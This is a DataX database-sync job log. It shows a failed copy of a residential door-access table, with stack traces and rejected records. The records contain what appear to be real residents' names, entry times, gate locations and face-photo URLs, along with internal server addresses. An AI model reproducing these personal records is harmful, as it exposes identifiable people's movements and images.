10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] } 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] } 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:55.200 [main] INFO PerfTrace - PerfTrace traceId=job_-1, isEnable=false 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:55.200 [main] INFO JobContainer - DataX jobContainer starts job. 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:55.201 [main] INFO JobContainer - Set jobId = 0 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:55.533 [job-0] INFO OriginalConfPretreatmentUtil - Available jdbcUrl:jdbc:mysql://172.20.20.57:8066/wuye?serverTimezone=Asia/Shanghai&useLegacyDatetimeCode=false&useSSL=false&nullNamePatternMatchesAll=true&useUnicode=true&characterEncoding=UTF-8&yearIsDateType=false&zeroDateTimeBehavior=convertToNull&tinyInt1isBit=false&rewriteBatchedStatements=true. 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:55.791 [job-0] INFO OriginalConfPretreatmentUtil - table:[door_open_record] all columns:[ 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] id,uuid,record_time,open_mode,comm_code,open_object,name,phone_num,person_type,open_device,device_place,person_uuid,picture_url,open_video,created_by,created_time,updated_by,updated_time,del_flag,mczt,pass,in_out_flag,GY_RKGXSJ,GY_SFYSC,temp,temp_normal,extra,health_info 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] ]. 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:55.798 [job-0] INFO OriginalConfPretreatmentUtil - Write data [ 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] INSERT INTO %s (`id`,`uuid`,`record_time`,`open_mode`,`comm_code`,`open_object`,`name`,`phone_num`,`person_type`,`open_device`,`device_place`,`person_uuid`,`picture_url`,`open_video`,`created_by`,`created_time`,`updated_by`,`updated_time`,`del_flag`,`mczt`,`pass`,`in_out_flag`,`temp`,`temp_normal`,`extra`,`health_info`,`GY_RKGXSJ`,`GY_SFYSC`) VALUES(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?) 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] ], which jdbcUrl like:[jdbc:mysql://172.20.20.67:3306/kitty?serverTimezone=Asia/Shanghai&useLegacyDatetimeCode=false&useSSL=false&nullNamePatternMatchesAll=true&useUnicode=true&characterEncoding=UTF-8&yearIsDateType=false&zeroDateTimeBehavior=convertToNull&rewriteBatchedStatements=true&tinyInt1isBit=false] 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:55.798 [job-0] INFO JobContainer - jobContainer starts to do prepare ... 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:55.799 [job-0] INFO JobContainer - DataX Reader.Job [mysqlreader] do prepare work . 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:55.799 [job-0] INFO JobContainer - DataX Writer.Job [mysqlwriter] do prepare work . 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:55.799 [job-0] INFO JobContainer - jobContainer starts to do split ... 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:55.800 [job-0] INFO JobContainer - Job set Max-Byte-Speed to 1048576 bytes. 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:55.801 [job-0] INFO JobContainer - DataX Reader.Job [mysqlreader] splits to [1] tasks. 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:55.802 [job-0] INFO JobContainer - DataX Writer.Job [mysqlwriter] splits to [1] tasks. 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:55.827 [job-0] INFO JobContainer - jobContainer starts to do schedule ... 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:55.830 [job-0] INFO JobContainer - Scheduler starts [1] taskGroups. 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:55.832 [job-0] INFO JobContainer - Running by standalone Mode. 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:55.836 [taskGroup-0] INFO TaskGroupContainer - taskGroupId=[0] start [1] channels for [1] tasks. 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:55.840 [taskGroup-0] INFO Channel - Channel set byte_speed_limit to 2000000. 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:55.840 [taskGroup-0] INFO Channel - Channel set record_speed_limit to -1, No tps activated. 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:55.847 [taskGroup-0] INFO TaskGroupContainer - taskGroup[0] taskId[0] attemptCount[1] is started 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:55.850 [0-0-0-reader] INFO CommonRdbmsReader$Task - Begin to read record by Sql: [select CONCAT(comm_code,id) as id, `uuid`, `record_time`, `open_mode`, `comm_code`, `open_object`, `name`, `phone_num`, `person_type`, `open_device`, `device_place`, `person_uuid`, `picture_url`, `open_video`, `created_by`, `created_time`, `updated_by`, `updated_time`, `del_flag`, `mczt`, `pass`, `in_out_flag`, `temp`, `temp_normal`, `extra`, `health_info`, `created_time` as GY_RKGXSJ, case when `del_flag`=2 then 1 else 0 end as GY_SFYSC from `door_open_record` where `record_time` >= '2025-05-19%08:00:00' and `record_time` < '2025-05-19%10:33:54' 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] ] jdbcUrl:[jdbc:mysql://172.20.20.57:8066/wuye?serverTimezone=Asia/Shanghai&useLegacyDatetimeCode=false&useSSL=false&nullNamePatternMatchesAll=true&useUnicode=true&characterEncoding=UTF-8&yearIsDateType=false&zeroDateTimeBehavior=convertToNull&tinyInt1isBit=false&rewriteBatchedStatements=true]. 2025-05-19 10:33:56 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:56.927 [0-0-0-reader] INFO CommonRdbmsReader$Task - Finished read record by Sql: [select CONCAT(comm_code,id) as id, `uuid`, `record_time`, `open_mode`, `comm_code`, `open_object`, `name`, `phone_num`, `person_type`, `open_device`, `device_place`, `person_uuid`, `picture_url`, `open_video`, `created_by`, `created_time`, `updated_by`, `updated_time`, `del_flag`, `mczt`, `pass`, `in_out_flag`, `temp`, `temp_normal`, `extra`, `health_info`, `created_time` as GY_RKGXSJ, case when `del_flag`=2 then 1 else 0 end as GY_SFYSC from `door_open_record` where `record_time` >= '2025-05-19%08:00:00' and `record_time` < '2025-05-19%10:33:54' 2025-05-19 10:33:56 [AnalysisStatistics.analysisStatisticsLog-53] ] jdbcUrl:[jdbc:mysql://172.20.20.57:8066/wuye?serverTimezone=Asia/Shanghai&useLegacyDatetimeCode=false&useSSL=false&nullNamePatternMatchesAll=true&useUnicode=true&characterEncoding=UTF-8&yearIsDateType=false&zeroDateTimeBehavior=convertToNull&tinyInt1isBit=false&rewriteBatchedStatements=true]. 2025-05-19 10:33:57 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:57.242 [0-0-0-writer] WARN CommonRdbmsWriter$Task - 回滚此次写入, 采用每次写入一行方式提交. 因为:Data truncation: Out of range value for column 'id' at row 1 2025-05-19 10:33:57 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:57.247 [0-0-0-writer] ERROR StdoutPluginCollector - 2025-05-19 10:33:57 [AnalysisStatistics.analysisStatisticsLog-53] com.mysql.jdbc.MysqlDataTruncation: Data truncation: Out of range value for column 'id' at row 1 2025-05-19 10:33:57 [AnalysisStatistics.analysisStatisticsLog-53] at com.mysql.jdbc.MysqlIO.checkErrorPacket(MysqlIO.java:3976) ~[mysql-connector-java-5.1.47.jar:5.1.47] 2025-05-19 10:33:57 [AnalysisStatistics.analysisStatisticsLog-53] at com.mysql.jdbc.MysqlIO.checkErrorPacket(MysqlIO.java:3914) ~[mysql-connector-java-5.1.47.jar:5.1.47] 2025-05-19 10:33:57 [AnalysisStatistics.analysisStatisticsLog-53] at com.mysql.jdbc.MysqlIO.sendCommand(MysqlIO.java:2530) ~[mysql-connector-java-5.1.47.jar:5.1.47] 2025-05-19 10:33:57 [AnalysisStatistics.analysisStatisticsLog-53] at com.mysql.jdbc.MysqlIO.sqlQueryDirect(MysqlIO.java:2683) ~[mysql-connector-java-5.1.47.jar:5.1.47] 2025-05-19 10:33:57 [AnalysisStatistics.analysisStatisticsLog-53] at com.mysql.jdbc.ConnectionImpl.execSQL(ConnectionImpl.java:2495) ~[mysql-connector-java-5.1.47.jar:5.1.47] 2025-05-19 10:33:57 [AnalysisStatistics.analysisStatisticsLog-53] at com.mysql.jdbc.PreparedStatement.executeInternal(PreparedStatement.java:1903) ~[mysql-connector-java-5.1.47.jar:5.1.47] 2025-05-19 10:33:57 [AnalysisStatistics.analysisStatisticsLog-53] at com.mysql.jdbc.PreparedStatement.execute(PreparedStatement.java:1242) ~[mysql-connector-java-5.1.47.jar:5.1.47] 2025-05-19 10:33:57 [AnalysisStatistics.analysisStatisticsLog-53] at com.alibaba.datax.plugin.rdbms.writer.CommonRdbmsWriter$Task.doOneInsert(CommonRdbmsWriter.java:382) [plugin-rdbms-util-0.0.1-SNAPSHOT.jar:na] 2025-05-19 10:33:57 [AnalysisStatistics.analysisStatisticsLog-53] at com.alibaba.datax.plugin.rdbms.writer.CommonRdbmsWriter$Task.doBatchInsert(CommonRdbmsWriter.java:362) [plugin-rdbms-util-0.0.1-SNAPSHOT.jar:na] 2025-05-19 10:33:57 [AnalysisStatistics.analysisStatisticsLog-53] at com.alibaba.datax.plugin.rdbms.writer.CommonRdbmsWriter$Task.startWriteWithConnection(CommonRdbmsWriter.java:297) [plugin-rdbms-util-0.0.1-SNAPSHOT.jar:na] 2025-05-19 10:33:57 [AnalysisStatistics.analysisStatisticsLog-53] at com.alibaba.datax.plugin.rdbms.writer.CommonRdbmsWriter$Task.startWrite(CommonRdbmsWriter.java:319) [plugin-rdbms-util-0.0.1-SNAPSHOT.jar:na] 2025-05-19 10:33:57 [AnalysisStatistics.analysisStatisticsLog-53] at com.alibaba.datax.plugin.writer.mysqlwriter.MysqlWriter$Task.startWrite(MysqlWriter.java:78) [mysqlwriter-0.0.1-SNAPSHOT.jar:na] 2025-05-19 10:33:57 [AnalysisStatistics.analysisStatisticsLog-53] at com.alibaba.datax.core.taskgroup.runner.WriterRunner.run(WriterRunner.java:56) [datax-core-0.0.1-SNAPSHOT.jar:na] 2025-05-19 10:33:57 [AnalysisStatistics.analysisStatisticsLog-53] at java.lang.Thread.run(Thread.java:748) [na:1.8.0_242] 2025-05-19 10:33:57 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:57.259 [0-0-0-writer] ERROR StdoutPluginCollector - 脏数据: 2025-05-19 10:33:57 [AnalysisStatistics.analysisStatisticsLog-53] {"exception":"Data truncation: Out of range value for column 'id' at row 1","record":[{"byteSize":22,"index":0,"rawData":"0591202111180387851990","type":5},{"byteSize":32,"index":1,"rawData":"4d0986595d40485aa9839e0cccec4044","type":5},{"byteSize":8,"index":2,"rawData":1747612856000,"type":7},{"byteSize":4,"index":3,"rawData":1004,"type":3},{"byteSize":16,"index":4,"rawData":"0591202111180387","type":5},{"byteSize":29,"index":5,"rawData":"05912021111803871658544258319","type":5},{"byteSize":2,"index":6,"rawData":"周云","type":5},{"byteSize":0,"index":7,"rawData":"","type":5},{"byteSize":1,"index":8,"rawData":1,"type":3},{"byteSize":28,"index":9,"rawData":"NYN0300010000020000S1F001436","type":5},{"byteSize":5,"index":10,"rawData":"西门M29","type":5},{"byteSize":32,"index":11,"rawData":"c68130c53b1441cc9e9205a0df155888","type":5},{"byteSize":83,"index":12,"rawData":"https://iot.yinxismart.top:8888/group1/M00/02/0C/rBQUOGgqdLiARP_wAADchi_tzQg504.jpg","type":5},{"byteSize":0,"index":13,"type":5},{"byteSize":0,"index":14,"type":5},{"byteSize":0,"index":15,"type":7},{"byteSize":0,"index":16,"type":5},{"byteSize":0,"index":17,"type":7},{"byteSize":1,"index":18,"rawData":1,"type":3},{"byteSize":1,"index":19,"rawData":1,"type":3},{"byteSize":1,"index":20,"rawData":1,"type":3},{"byteSize":1,"index":21,"rawData":0,"type":3},{"byteSize":0,"index":22,"type":5},{"byteSize":1,"index":23,"rawData":0,"type":3},{"byteSize":0,"index":24,"type":5},{"byteSize":0,"index":25,"type":5},{"byteSize":0,"index":26,"type":7},{"byteSize":1,"index":27,"rawData":0,"type":3}],"type":"writer"} 2025-05-19 10:33:57 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:57.260 [0-0-0-writer] ERROR StdoutPluginCollector - 脏数据: 2025-05-19 10:33:57 [AnalysisStatistics.analysisStatisticsLog-53] {"exception":"Data truncation: Out of range value for column 'id' at row 1","record":[{"byteSize":22,"index":0,"rawData":"0591202111180387851991","type":5},{"byteSize":32,"index":1,"rawData":"d52cf199b8b54901bad84a21f3fa25b1","type":5},{"byteSize":8,"index":2,"rawData":1747612880000,"type":7},{"byteSize":4,"index":3,"rawData":1004,"type":3},{"byteSize":16,"index":4,"rawData":"0591202111180387","type":5},{"byteSize":29,"index":5,"rawData":"05912021111803871742111902520","type":5},{"byteSize":3,"index":6,"rawData":"庄华琴","type":5},{"byteSize":0,"index":7,"rawData":"","type":5},{"byteSize":1,"index":8,"rawData":2,"type":3},{"byteSize":16,"index":9,"rawData":"0020220987YXJDSQ","type":5},{"byteSize":10,"index":10,"rawData":"中联天玺南出入口门禁","type":5},{"byteSize":32,"index":11,"rawData":"729da5882c6a41d9bfda0949931a1be1","type":5},{"byteSize":83,"index":12,"rawData":"https://iot.yinxismart.top:8888/group1/M00/02/0C/rBQUN2gqdNeASmFSAAJOMjYE8R8862.jpg","type":5},{"byteSize":0,"index":13,"type":5},{"byteSize":0,"index":14,"type":5},{"byteSize":0,"index":15,"type":7},{"byteSize":0,"index":16,"type":5},{"byteSize":0,"index":17,"type":7},{"byteSize":1,"index":18,"rawData":1,"type":3},{"byteSize":1,"index":19,"rawData":1,"type":3},{"byteSize":1,"index":20,"rawData":1,"type":3},{"byteSize":1,"index":21,"rawData":0,"type":3},{"byteSize":0,"index":22,"type":5},{"byteSize":1,"index":23,"rawData":0,"type":3},{"byteSize":0,"index":24,"type":5},{"byteSize":0,"index":25,"type":5},{"byteSize":0,"index":26,"type":7},{"byteSize":1,"index":27,"rawData":0,"type":3}],"type":"writer"} 2025-05-19 10:33:57 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:57.262 [0-0-0-writer] ERROR StdoutPluginCollector - 脏数据: 2025-05-19 10:33:57 [AnalysisStatistics.analysisStatisticsLog-53] {"exception":"Data truncation: Out of range value for column 'id' at row 1","record":[{"byteSize":22,"index":0,"rawData":"0591202111180387851992","type":5},{"byteSize":32,"index":1,"rawData":"4bd01f7d35f4437da3e276c6c31a5c5c","type":5},{"byteSize":8,"index":2,"rawData":1747612889000,"type":7},{"byteSize":4,"index":3,"rawData":1004,"type":3},{"byteSize":16,"index":4,"rawData":"0591202111180387","type":5},{"byteSize":29,"index":5,"rawData":"05912021111803871741681870967","type":5},{"byteSize":2,"index":6,"rawData":"严巧","type":5},{"byteSize":0,"index":7,"rawData":"","type":5},{"byteSize":1,"index":8,"rawData":1,"type":3},{"byteSize":28,"index":9,"rawData":"NYN0300010000020000S1F001436","type":5},{"byteSize":5,"index":10,"rawData":"西门M29","type":5},{"byteSize":32,"index":11,"rawData":"7f932dde89b64205a0d17d58871f9bad","type":5},{"byteSize":83,"index":12,"rawData":"https://iot.yinxismart.top:8888/group1/M00/02/0B/rBQUNmgqdNmAQ_S7AAC22NFh6HM442.jpg","type":5},{"byteSize":0,"index":13,"type":5},{"byteSize":0,"index":14,"type":5},{"byteSize":0,"index":15,"type":7},{"byteSize":0,"index":16,"type":5},{"byteSize":0,"index":17,"type":7},{"byteSize":1,"index":18,"rawData":1,"type":3},{"byteSize":1,"index":19,"rawData":1,"type":3},{"byteSize":1,"index":20,"rawData":1,"type":3},{"byteSize":1,"index":21,"rawData":0,"type":3},{"byteSize":0,"index":22,"type":5},{"byteSize":1,"index":23,"rawData":0,"type":3},{"byteSize":0,"index":24,"type":5},{"byteSize":0,"index":25,"type":5},{"byteSize":0,"index":26,"type":7},{"byteSize":1,"index":27,"rawData":0,"type":3}],"type":"writer"} 2025-05-19 10:33:57 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:57.263 [0-0-0-writer] ERROR StdoutPluginCollector - 脏数据: 2025-05-19 10:33:57 [AnalysisStatistics.analysisStatisticsLog-53] {"exception":"Data truncation: Out of range value for column 'id' at row 1","record":[{"byteSize":22,"index":0,"rawData":"0591202111180387851993","type":5},{"byteSize":32,"index":1,"rawData":"a766ed3cea29444181be6cedd1f816f5","type":5},{"byteSize":8,"index":2,"rawData":1747612931000,"type":7},{"byteSize":4,"index":3,"rawData":1004,"type":3},{"byteSize":16,"index":4,"rawData":"0591202111180387","type":5},{"byteSize":29,"index":5,"rawData":"05912021111803871659255470895","type":5},{"byteSize":3,"index":6,"rawData":"华明娟","type":5},{"byteSize":0,"index":7,"rawData":"","type":5},{"byteSize":1,"index":8,"rawData":1,"type":3},{"byteSize":28,"index":9,"rawData":"NYN0300010000020000S1F001436","type":5},{"byteSize":5,"index":10,"rawData":"西门M29","type":5},{"byteSize":32,"index":11,"rawData":"02fb5d620ac3460f8957de4b5b44336a","type":5},{"byteSize":83,"index":12,"rawData":"https://iot.yinxismart.top:8888/group1/M00/02/0D/rBQUNWgqdQOAeyFkAACw3Hvmovc046.jpg","type":5},{"byteSize":0,"index":13,"type":5},{"byteSize":0,"index":14,"type":5},{"byteSize":0,"index":15,"type":7},{"byteSize":0,"index":16,"type":5},{"byteSize":0,"index":17,"type":7},{"byteSize":1,"index":18,"rawData":1,"type":3},{"byteSize":1,"index":19,"rawData":1,"type":3},{"byteSize":1,"index":20,"rawData":1,"type":3},{"byteSize":1,"index":21,"rawData":0,"type":3},{"byteSize":0,"index":22,"type":5},{"byteSize":1,"index":23,"rawData":0,"type":3},{"byteSize":0,"index":24,"type":5},{"byteSize":0,"index":25,"type":5},{"byteSize":0,"index":26,"type":7},{"byteSize":1,"index":27,"rawData":0,"type":3}],"type":"writer"} 2025-05-19 10:33:57 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:57.264 [0-0-0-writer] ERROR StdoutPluginCollector - 脏数据: 2025-05-19 10:33:57 [AnalysisStatistics.analysisStatisticsLog-53] {"exception":"Data truncation: Out of range value for column 'id' at row 1","record":[{"byteSize":22,"index":0,"rawData":"0591202111180387851994","type":5},{"byteSize":32,"index":1,"rawData":"9a923175d25b41acbf8515f0d2b1d2ff","type":5},{"byteSize":8,"index":2,"rawData":1747613034000,"type":7},{"byteSize":4,"index":3,"rawData":1004,"type":3},{"byteSize":16,"index":4,"rawData":"0591202111180387","type":5},{"byteSize":29,"index":5,"rawData":"05912021111803871745223203681","type":5},{"byteSize":3,"index":6,"rawData":"林清唐","type":5},{"byteSize":0,"index":7,"rawData":"","type":5},{"byteSize":1,"index":8,"rawData":0,"type":3},{"byteSize":28,"index":9,"rawData":"NYN0300010000020000S1F001436","type":5},{"byteSize":5,"index":10,"rawData":"西门M29","type":5},{"byteSize":32,"index":11,"rawData":"d4d1b42ec6d540b9b459029dec96334a","type":5},{"byteSize":83,"index":12,"rawData":"https://iot.yinxismart.top:8888/group1/M00/02/0D/rBQUNWgqdWqAEVqIAAC_n9Jyueo433.jpg","type":5},{"byteSize":0,"index":13,"type":5},{"byteSize":0,"index":14,"type":5},{"byteSize":0,"index":15,"type":7},{"byteSize":0,"index":16,"type":5},{"byteSize":0,"index":17,"type":7},{"byteSize":1,"index":18,"rawData":1,"type":3},{"byteSize":1,"index":19,"rawData":1,"type":3},{"byteSize":1,"index":20,"rawData":1,"type":3},{"byteSize":1,"index":21,"rawData":0,"type":3},{"byteSize":0,"index":22,"type":5},{"byteSize":1,"index":23,"rawData":0,"type":3},{"byteSize":0,"index":24,"type":5},{"byteSize":0,"index":25,"type":5},{"byteSize":0,"index":26,"type":7},{"byteSize":1,"index":27,"rawData":0,"type":3}],"type":"writer"} 2025-05-19 10:33:57 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:57.265 [0-0-0-writer] ERROR StdoutPluginCollector - 脏数据: 2025-05-19 10:33:57 [AnalysisStatistics.analysisStatisticsLog-53] {"exception":"Data truncation: Out of range value for column 'id' at row 1","record":[{"byteSize":22,"index":0,"rawData":"0591202111180387851995","type":5},{"byteSize":32,"index":1,"rawData":"847f99174d4d4d26aaae669dd638e123","type":5},{"byteSize":8,"index":2,"rawData":1747613052000,"type":7},{"byteSize":4,"index":3,"rawData":1004,"type":3},{"byteSize":16,"index":4,"rawData":"0591202111180387","type":5},{"byteSize":29,"index":5,"rawData":"05912021111803871710205089306","type":5},{"byteSize":3,"index":6,"rawData":"陈惠钦","type":5},{"byteSize":0,"index":7,"rawData":"","type":5},{"byteSize":1,"index":8,"rawData":1,"type":3},{"byteSize":16,"index":9,"rawData":"0020220996YXJDSQ","type":5},{"byteSize":7,"index":10,"rawData":"北门消防门入口","type":5},{"byteSize":32,"index":11,"rawData":"2e6fdb84fdd44a94939c019a8e0d2b85","type":5},{"byteSize":83,"index":12,"rawData":"https://iot.yinxismart.top:8888/group1/M00/02/0C/rBQUOGgqdYWAEJkoAAHEBO1Px4w499.jpg","type":5},{"byteSize":0,"index":13,"type":5},{"byteSize":0,"index":14,"type":5},{"byteSize":0,"index":15,"type":7},{"byteSize":0,"index":16,"type":5},{"byteSize":0,"index":17,"type":7},{"byteSize":1,"index":18,"rawData":1,"type":3},{"byteSize":1,"index":19,"rawData":1,"type":3},{"byteSize":1,"index":20,"rawData":1,"type":3},{"byteSize":1,"index":21,"rawData":0,"type":3},{"byteSize":0,"index":22,"type":5},{"byteSize":1,"index":23,"rawData":0,"type":3},{"byteSize":0,"index":24,"type":5},{"byteSize":0,"index":25,"type":5},{"byteSize":0,"index":26,"type":7},{"byteSize":1,"index":27,"rawData":0,"type":3}],"type":"writer"} 2025-05-19 10:33:57 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:57.266 [0-0-0-writer] ERROR StdoutPluginCollector - 脏数据: 2025-05-19 10:33:57 [AnalysisStatistics.analysisStatisticsLog-53] {"exception":"Data truncation: Out of range value for column 'id' at row 1","record":[{"byteSize":22,"index":0,"rawData":"0591202111180387851996","type":5},{"byteSize":32,"index":1,"rawData":"6befb459b2da4ce1a3f9e7e9f3b9dcb4","type":5},{"byteSize":8,"index":2,"rawData":1747613064000,"type":7},{"byteSize":4,"index":3,"rawData":1004,"type":3},{"byteSize":16,"index":4,"rawData":"0591202111180387","type":5},{"byteSize":29,"index":5,"rawData":"05912021111803871741253388198","type":5},{"byteSize":3,"index":6,"rawData":"王枝发","type":5},{"byteSize":0,"index":7,"rawData":"","type":5},{"byteSize":1,"index":8,"rawData":1,"type":3},{"byteSize":28,"index":9,"rawData":"NYN0300010000020000S1F001436","type":5},{"byteSize":5,"index":10,"rawData":"西门M29","type":5},{"byteSize":32,"index":11,"rawData":"fe8e4331e4514d57bec126d6c767cc6c","type":5},{"byteSize":83,"index":12,"rawData":"https://iot.yinxismart.top:8888/group1/M00/02/0D/rBQUNWgqdYiAQR8YAAC_5wURlHI916.jpg","type":5},{"byteSize":0,"index":13,"type":5},{"byteSize":0,"index":14,"type":5},{"byteSize":0,"index":15,"type":7},{"byteSize":0,"index":16,"type":5},{"byteSize":0,"index":17,"type":7},{"byteSize":1,"index":18,"rawData":1,"type":3},{"byteSize":1,"index":19,"rawData":1,"type":3},{"byteSize":1,"index":20,"rawData":1,"type":3},{"byteSize":1,"index":21,"rawData":0,"type":3},{"byteSize":0,"index":22,"type":5},{"byteSize":1,"index":23,"rawData":0,"type":3},{"byteSize":0,"index":24,"type":5},{"byteSize":0,"index":25,"type":5},{"byteSize":0,"index":26,"type":7},{"byteSize":1,"index":27,"rawData":0,"type":3}],"type":"writer"} 2025-05-19 10:33:57 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:57.268 [0-0-0-writer] ERROR StdoutPluginCollector - 脏数据: 2025-05-19 10:33:57 [AnalysisStatistics.analysisStatisticsLog-53] {"exception":"Data truncation: Out of range value for column 'id' at row 1","record":[{"byteSize":22,"index":0,"rawData":"0591202111180387851997","type":5},{"byteSize":32,"index":1,"rawData":"bd4ff446847c483ea12dbc1a746ef9e0","type":5},{"byteSize":8,"index":2,"rawData":1747613074000,"type":7},{"byteSize":4,"index":3,"rawData":1004,"type":3},{"byteSize":16,"index":4,"rawData":"0591202111180387","type":5},{"byteSize":29,"index":5,"rawData":"05912021111803871666857417929","type":5},{"byteSize":3,"index":6,"rawData":"刘必梅","type":5},{"byteSize":0,"index":7,"rawData":"","type":5},{"byteSize":1,"index":8,"rawData":1,"type":3},{"byteSize":28,"index":9,"rawData":"NYN0300010000020000S1F001436","type":5},{"byteSize":5,"index":10,"rawData":"西门M29","type":5},{"byteSize":32,"index":11,"rawData":"09af342659144542a694fc75c8cd1c6f","type":5},{"byteSize":83,"index":12,"rawData":"https://iot.yinxismart.top:8888/group1/M00/02/0C/rBQUN2gqdZKAMtxUAADEYp0rtqk024.jpg","type":5},{"byteSize":0,"index":13,"type":5},{"byteSize":0,"index":14,"type":5},{"byteSize":0,"index":15,"type":7},{"byteSize":0,"index":16,"type":5},{"byteSize":0,"index":17,"type":7},{"byteSize":1,"index":18,"rawData":1,"type":3},{"byteSize":1,"index":19,"rawData":1,"type":3},{"byteSize":1,"index":20,"rawData":1,"type":3},{"byteSize":1,"index":21,"rawData":0,"type":3},{"byteSize":0,"index":22,"type":5},{"byteSize":1,"index":23,"rawData":0,"type":3},{"byteSize":0,"index":24,"type":5},{"byteSize":0,"index":25,"type":5},{"byteSize":0,"index":26,"type":7},{"byteSize":1,"index":27,"rawData":0,"type":3}],"type":"writer"} 2025-05-19 10:33:57 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:57.269 [0-0-0-writer] ERROR StdoutPluginCollector - 脏数据: 2025-05-19 10:33:57 [AnalysisStatistics.analysisStatisticsLog-53] {"exception":"Data truncation: Out of range value for column 'id' at row 1","record":[{"byteSize":22,"index":0,"rawData":"0591202111180387851998","type":5},{"byteSize":32,"index":1,"rawData":"f238007b8c634bb394c0425e9ffc2716","type":5},{"byteSize":8,"index":2,"rawData":1747613150000,"type":7},{"byteSize":4,"index":3,"rawData":1004,"type":3},{"byteSize":16,"index":4,"rawData":"0591202111180387","type":5},{"byteSize":29,"index":5,"rawData":"05912021111803871675924700007","type":5},{"byteSize":3,"index":6,"rawData":"俞玉琴","type":5},{"byteSize":0,"index":7,"rawData":"","type":5},{"byteSize":1,"index":8,"rawData":1,"type":3},{"byteSize":28,"index":9,"rawData":"NYN0300010000020000S1F001436","type":5},{"byteSize":5,"index":10,"rawData":"西门M29","type":5},{"byteSize":32,"index":11,"rawData":"198e3637945e4376a32310eae176b3ef","type":5},{"byteSize":83,"index":12,"rawData":"https://iot.yinxismart.top:8888/group1/M00/02/0C/rBQUN2gqdd6AAFFhAADRKbsR6uM999.jpg","type":5},{"byteSize":0,"index":13,"type":5},{"byteSize":0,"index":14,"type":5},{"byteSize":0,"index":15,"type":7},{"byteSize":0,"index":16,"type":5},{"byteSize":0,"index":17,"type":7},{"byteSize":1,"index":18,"rawData":1,"type":3},{"byteSize":1,"index":19,"rawData":1,"type":3},{"byteSize":1,"index":20,"rawData":1,"type":3},{"byteSize":1,"index":21,"rawData":0,"type":3},{"byteSize":0,"index":22,"type":5},{"byteSize":1,"index":23,"rawData":0,"type":3},{"byteSize":0,"index":24,"type":5},{"byteSize":0,"index":25,"type":5},{"byteSize":0,"index":26,"type":7},{"byteSize":1,"index":27,"rawData":0,"type":3}],"type":"writer"} 2025-05-19 10:33:57 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:57.475 [taskGroup-0] INFO TaskGroupContainer - taskGroup[0] taskId[0] is successed, used[1629]ms 2025-05-19 10:33:57 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:57.476 [taskGroup-0] INFO TaskGroupContainer - taskGroup[0] completed it's tasks. 2025-05-19 10:34:05 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:34:05.848 [job-0] INFO StandAloneJobContainerCommunicator - Total 361 records, 98167 bytes | Speed 9.59KB/s, 36 records/s | Error 361 records, 98167 bytes | All Task WaitWriterTime 0.001s | All Task WaitReaderTime 1.066s | Percentage 100.00% 2025-05-19 10:34:05 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:34:05.849 [job-0] ERROR JobContainer - 运行scheduler 模式[standalone]出错. 2025-05-19 10:34:05 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:34:05.849 [job-0] ERROR JobContainer - Exception when job run 2025-05-19 10:34:05 